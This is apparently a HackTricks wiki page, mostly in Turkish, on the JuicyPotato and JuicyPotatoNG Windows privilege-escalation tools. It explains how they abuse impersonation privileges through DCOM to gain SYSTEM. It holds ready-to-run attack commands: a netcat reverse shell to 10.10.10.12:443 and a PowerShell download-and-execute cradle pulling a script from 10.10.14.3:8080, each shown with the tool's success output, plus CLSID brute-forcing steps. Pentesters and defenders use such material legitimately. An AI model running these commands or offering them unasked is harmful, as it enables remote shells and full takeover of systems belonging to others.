JuicyPotato
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
[!WARNING] > JuicyPotato eski bir araçtır. Genellikle Windows 10 1803 / Windows Server 2016'ya kadar olan sürümlerde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrası için getirdiği değişiklikler orijinal tekniği bozdu. Bu derlemeler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato gibi modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın.
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (yüksek ayrıcalıkları kötüye kullanma)
A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
juicypotato'ı şu adresten indirebilirsiniz https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Uyumluluk kısa notlar
- Geçerli bağlamda SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege olduğunda Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır.
- Windows 10 1809 / Windows Server 2019 ve sonrası için Microsoft'un sertleştirmesi tarafından bozulmuştur. Bu sürümler için yukarıda bağlantılı alternatifleri tercih edin.
Özet
RottenPotatoNG and its variants ayrıcalık yükseltme zincirini BITS
service üzerinde 127.0.0.1:6666 adresinde MiTM dinleyicisi olması ve sizin SeImpersonate
veya SeAssignPrimaryToken
ayrıcalıklarına sahip olmanız durumunda kullanır. Bir Windows derleme incelemesi sırasında BITS
kasıtlı olarak devre dışı bırakılmış ve 6666 portu kullanımda bulunduğu bir yapılandırma bulduk.
RottenPotatoNG'yi silahlandırmaya karar verdik: Say hello to Juicy Potato.
For the theory, see Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM and follow the chain of links and references.
BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece şunlara sahip olması gerekiyor:
- mevcut kullanıcı tarafından örneklendirilebilmeli; genelde impersonation privileges'e sahip bir “service user”
IMarshal
arabirimini uygulamak- yükseltilmiş bir kullanıcı olarak çalışmak (SYSTEM, Administrator, …)
Biraz test sonrası birkaç Windows sürümünde interesting CLSID’s içeren kapsamlı bir liste elde ettik ve test ettik.
Juicy details
JuicyPotato size şunları yapma imkanı verir:
- Target CLSID istediğiniz herhangi bir CLSID'i seçin. Here işletim sistemine göre düzenlenmiş listeyi burada bulabilirsiniz.
- COM Listening port tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled hardcoded 6666 yerine)
- COM Listening IP address sunucuyu herhangi bir IP'ye bağlayın
- Process creation mode taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şu seçeneklerden birini seçebilirsiniz:
CreateProcessWithToken
(needsSeImpersonate
)CreateProcessAsUser
(needsSeAssignPrimaryToken
)both
- Process to launch sömürme başarılı olursa bir yürütülebilir dosya veya betik başlatın
- Process Argument başlatılan prosesin argümanlarını özelleştirin
- RPC Server address gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulayabilirsiniz
- RPC Server port harici bir sunucuya kimlik doğrulamak istiyor ve firewall
135
portunu engelliyorsa faydalıdır… - TEST mode çoğunlukla test amaçlı, ör. CLSID'leri test etmek için. DCOM'u oluşturur ve token sahibinin kullanıcı bilgisini yazdırır. See here for testing
Kullanım
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Son düşünceler
Kullanıcının SeImpersonate
veya SeAssignPrimaryToken
ayrıcalıkları varsa, o zaman SYSTEM'siniz.
Tüm bu COM Servers'ın suistimalini engellemek neredeyse imkansız. Bu nesnelerin izinlerini DCOMCNFG
ile değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak.
Gerçek çözüm, * SERVICE
hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. DCOM
'u durdurmak kesinlikle bu exploit'i engeller ama alttaki OS üzerinde ciddi etkileri olabilir.
Kaynak: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
JuicyPotatoNG, modern Windows üzerinde JuicyPotato-style local privilege escalation'ı şu öğeleri birleştirerek yeniden tanıtıyor:
- DCOM OXID resolution'ı seçilen bir portta yerel bir RPC server'a yönlendirerek, eski hardcoded 127.0.0.1:6666 dinleyicisinden kaçınma.
- Giriş yapan SYSTEM kimlik doğrulamasını yakalamak ve taklit etmek için bir SSPI hook; RpcImpersonateClient gerektirmeden çalışır, bu aynı zamanda sadece SeAssignPrimaryTokenPrivilege mevcutken CreateProcessAsUser'ı mümkün kılar.
- DCOM aktivasyon kısıtlamalarını karşılamak için taktikler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedeflerken önceki INTERACTIVE-group gereksinimi).
Önemli notlar (sürümler arasında değişen davranışlar):
- Eylül 2022: İlk teknik, “INTERACTIVE trick”i kullanarak desteklenen Windows 10/11 ve Server hedeflerinde çalışıyordu.
- Ocak 2023 yazar güncellemesi: Microsoft daha sonra INTERACTIVE trick'i engelledi. Farklı bir CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) exploitation'ı geri getiriyor ancak gönderilerine göre yalnızca Windows 11 / Server 2022'de.
Temel kullanım (yardımda daha fazla bayrak var):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
Eğer hedefiniz klasik JuicyPotato'nun yamalandığı Windows 10 1809 / Server 2019 ise, en üstte bağlantılı alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG, build ve servis durumuna göre durumsal olabilir.
Örnekler
Not: Denemek için CLSID listesini görmek üzere this page ziyaret edin.
nc.exe ile reverse shell alın
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell ters
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Launch a new CMD (if you have RDP access)
CLSID Problems
Çoğunlukla JuicyPotato'nun kullandığı varsayılan CLSID çalışmaz ve exploit başarısız olur. Genellikle bir çalışan CLSID bulmak için birden fazla deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin bir listesini almak için şu sayfayı ziyaret edin:
Checking CLSIDs
Öncelikle juicypotato.exe dışında bazı yürütülebilir dosyalara ihtiyacınız olacak.
Join-Object.ps1'i indirip PS oturumunuza yükleyin ve GetCLSID.ps1'i indirip çalıştırın. Bu script test edilecek olası CLSID'lerin bir listesini oluşturacaktır.
Ardından test_clsid.bat'i indirin (CLSID listesinin ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Bu, her CLSID'yi denemeye başlayacak ve port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir.
-c parametresini kullanarak çalışan CLSID'leri kontrol edin
References
- https://github.com/ohpe/juicy-potato/blob/master/README.md
- Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.